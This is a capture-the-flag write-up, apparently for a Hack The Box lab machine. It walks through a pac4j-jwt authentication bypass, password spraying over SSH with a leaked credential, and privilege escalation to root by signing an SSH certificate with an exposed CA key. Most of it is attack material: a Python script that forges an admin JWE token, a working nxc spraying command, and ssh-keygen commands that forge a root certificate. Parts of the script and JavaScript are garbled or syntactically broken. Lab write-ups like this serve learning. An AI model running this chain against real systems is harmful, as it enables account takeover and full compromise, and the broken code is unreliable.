The attacker only needs to do the following:

1. Obtain the server’s RSA public key
   Many systems expose a JWKS (JSON Web Key Set) endpoint. For example:

/.well-known/jwks.json
pubkey

2. Construct a Plain JWT
   For instance:

{
  "sub": "admin",
  "role": "admin"
}

3. Encrypt the JWT using the server’s public key to create a JWE (JSON Web Encryption) token

4. Send the request with the token included as follows:

Authorization: Bearer <token>

Upon decryption by the server:

• The server will recognize that the token is not a Signed JWT.
• It will skip the signature verification process and directly extract the claims from the token.
  As a result, the attacker can successfully impersonate any user.

IV. Scope of Vulnerability Impact

This vulnerability is significant because pac4j is widely used in the Java ecosystem. Common applications that utilize pac4j include:

• Apereo CAS
• Apache Knox
• Apache Syncope
• Java-based Web SSO systems
• API Gateways and IAM (Identity and Access Management) systems

Services that use a combination of JWT and pac4j-jwt may be affected.

V. Attack Effects

The attacker can:

• Log in as any user
• Impersonate an administrator
• Bypass the authentication system
• Access protected APIs
• Retrieve sensitive data

Since no credentials are required, the attack complexity is extremely low.

VI. Nature of the Vulnerability

The root cause of this issue is a common security misconception:
“Encryption does not equal authentication.”
JWE ensures data confidentiality, while JWS ensures data integrity and authentication. If only decryption is performed without signature verification, the system cannot verify the authenticity of the token.

VII. Fixing the Vulnerability

Official Recommendations:

1. Upgrade the pac4j-jwt Version**

Upgrade to versions 4.5.9, 5.7.9, or 6.3.3. The updates include:

• Mandatory JWT type checking after decryption
• Rejection of unauthorized tokens if they are not Signed JWTs

2. Temporary Mitigation Measures

If an upgrade is not possible, the following protections can be implemented:

• Block tokens with the alg: none algorithm
• Use a WAF (Web Application Firewall) to detect invalid JWT structures
• Monitor for abnormal login attempts
• Restrict access to the server’s RSA public key

VIII. Summary

In simple terms, this vulnerability allows an attacker to impersonate any user simply by using the publicly available RSA public key from the server.
It falls under the categories of:

• Authentication bypass
• JWT validation logic flaws
• A high-risk vulnerability

USER

We now need the server’s RSA public key. By examining the source code at http://principal.htb:8080/static/js/app.js, we can find several exposed endpoints:

• const API_BASE = '';
• const JWKS_ENDPOINT = '/api/auth/jwks'; (for obtaining the public key)
• const AUTH_ENDPOINT = '/api/auth/login';
• const DASHBOARD_ENDPOINT = '/api/dashboard';
• const USERS_ENDPOINT = '/api/users';
• const SETTINGS_ENDPOINT = '/api/settings';

To obtain the public key, execute the following command:

curl http://principal.htb:8080/api/auth/jwks

Return the following JSON object:

{“keys”: [{“kty”: “RSA”, “e”: “AQAB”, “kid”: “enc-key-1”, “n”: “lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw”}]}

And it was discovered that:

```jsx
// Role constants must match the server-side role definitions
const ROLES = {
    ADMIN: 'ROLE_ADMIN',
    MANAGER: 'ROLE_MANAGER',
    USER: 'ROLE_USER'
};

The official script used is as follows:

#!/usr/bin/env python3
"""CVE-2026-29000: pac4j-jwt Authentication Bypass"""

import requests
import json
import base64
import time
import sys
from jwcrypto import jwk, jwe

TARGET = sys.argv[1]

# Step 1: Fetch the RSA public key from JWKS
print(f"[+] Fetching RSA public key from JWKS...")
resp = requests.get(f"{TARGET}/api/auth/jwks")
jwks_data = resp.json()
key_data = jwks_data["keys"][0]
pub_key = jwk.JWK(**key_data)    # **key_data: Unpack the dictionary data into keyword arguments
print(f"[+] Successfully fetched RSA public key from JWKS")

# Step 2: Craft a Plain JWT with admin claims
def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b="=".decode()) # rstrip(b="="): Remove the equal sign at the end of the byte string

now = int(time.time())
header = b64url_encode(json.dumps({"alg": "none"}).encode()) # json.dumps(): Convert the dictionary to a JSON string
payload = b64url_encode(json.dumps({
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": now,
    "exp": now + 3600,
}).encode()
plain_jwt = f"{header}.{payload}." # A period (.) is added at the end; it should be there even if not required: To include the signature
print(f"[+] Plain JWT with sub=admin and role=ROLE_ADMIN has been crafted")

Step 3: Encrypt the token using JWE with the server’s RSA public key

jwe_token = jwe.JWE( plain_jwt.encode(), recipient=pub_key, protected=json.dumps({ “alg”: “RSA-OAEP-256”, “enc”: “A128GCM”, “kid”: key_data[“kid”], “cty”: “JWT”, }) ) forged_token = jwe_token.serialize(compact=True) # Serialize the JWE object in a compact format print(f”[+] Forged JWE token created”)

Step 4: Access protected endpoints

headers = {“Authorization”: f”Bearer {forged_token}”}

print(f”[+] Accessing /api/dashboard…”) resp = requests.get(f”{TARGET}/api/dashboard”, headers=headers) print(f”[+] Status: {resp.status_code}”) data = resp.json() print(f”[+] Authenticated as: {data[‘user’][‘username’]} ({data[‘user’][‘role’]})”)

print(f”[+] Token: {forged_token}”)

After executing the code, we obtain a token. By checking the `app.js` file, we can see the following JavaScript code for token management:

```jsx
// Token management
class TokenManager {
    static getToken() {
        return sessionStorage.getItem('auth_token');
    }

    static setToken(token) {
        sessionStorage.setItem('auth_token', token);
    }

    static clearToken() {
        sessionStorage.removeItem('auth_token');
    }

    static.isAuthenticated() {
        return !!this.getToken();
    }

    static getAuthHeaders() {
        const token = this.getToken();
        return token ? { 'Authorization': `Bearer ${token}` } : {};
    }
}

The token is managed using JavaScript on the front end. We can add the token to the sessionStorage by executing the following code in the login function:

sessionStorage.setItem('auth_token', 'token');

After refreshing the page, we can access the backend.

In the settings interface, we can find the following information: encryptionKey: D3pl0y_$$H_Now42! as well as some user names.

➜  Principal nxc ssh 10.129.229.236 -u user.txt -p 'D3pl0y_$$H_Now42!'
SSH         10.129.229.236  22     10.129.229.236   [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
SSH         10.129.229.236  22     10.129.229.236   [-] admin:D3pl0y_$$H_Now42!
SSH         10.129.229.236  22     10.129.229.236   [+] svc-deploy:D3pl0y_$$H_Now42!  Linux - Shell access!

Access as the ROOT user

svc-deploy@principal:~$ id

User ID: 1001 (svc-deploy), Group ID: 1002 (svc-deploy); Members of groups: 1002 (svc-deploy) and 1001 (deployers)

```bash
svc-deploy@principal:~$ ls /opt/principal/
# Files in the /opt/principal/ directory: app, deploy, ssh

Three files were identified, and a key was found in the ssh directory.

svc-deploy@principal:~$ ls /opt/principal/ssh/
# Files in the /opt/principal/ssh/ directory: README.txt, ca.pub
svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
# Content of README.txt:
# This CA keypair is used for automated SSH certificate issuance.
# The sshd daemon trusts this CA for certificate-based authentication.
# Use the deploy.sh script to generate temporary certificates for service accounts.
# Key details:
# Algorithm: RSA 4096-bit
# Created: November 15, 2025
# Purpose: Automated deployment authentication

The deploy.sh script is mentioned, and it is possible to access the CA private key.

The find command (find / -name "deploy.sh" 2>/dev/null) did not find any matching files. Let’s check the sshd configuration file:

svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
# SSH configuration for the principal machine:
# PubkeyAuthentication: Enabled
# PasswordAuthentication: Enabled
# PermitRootLogin: Prohibits password-based login
# TrustedUserCAKeys: Points to the CA’s public key file (/opt/principal/ssh/ca.pub)

When the TrustedUserCAKeys setting in sshd does not include the AuthorizedPrincipalsFile, any certificate signed by a trusted CA will be accepted.

Therefore, it is possible to create a forged certificate to log in to the system as the root user using SSH:

ssh-keygen -t ed25519 -f /tmp/pwn -N ""
ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
# Explanation of the commands:
# ssh-keygen: A tool for generating and managing SSH keys.
# -s /opt/principal/ssh/ca: Specifies to use the CA’s private key for signing the certificate.
# -I "pwn-root": Identifies the certificate (used for logging in to the server).
# -n root: Specifies the user authorized to log in with this certificate (root).
# -V +1h: Sets the certificate to be valid for 1 hour. This ensures the attack is temporary and does not create a persistent backdoor.
# /tmp/pwn.pub: The public key to be signed.

Finally, we can attempt to log in using the forged certificate:

ssh -i /tmp/pwn root@localhost

Attack chain:

nmap -> Port 8080 (vulnerability detected: pac4j-jwt/6.0.3) -> Authentication vulnerability exploited -> SSH credentials exposed in the administrator panel -> Incorrect sshd configuration -> The `AuthorizedPrincipalsFile` is not set, allowing any user to log in to any account -> Forged root certificate is used to gain access.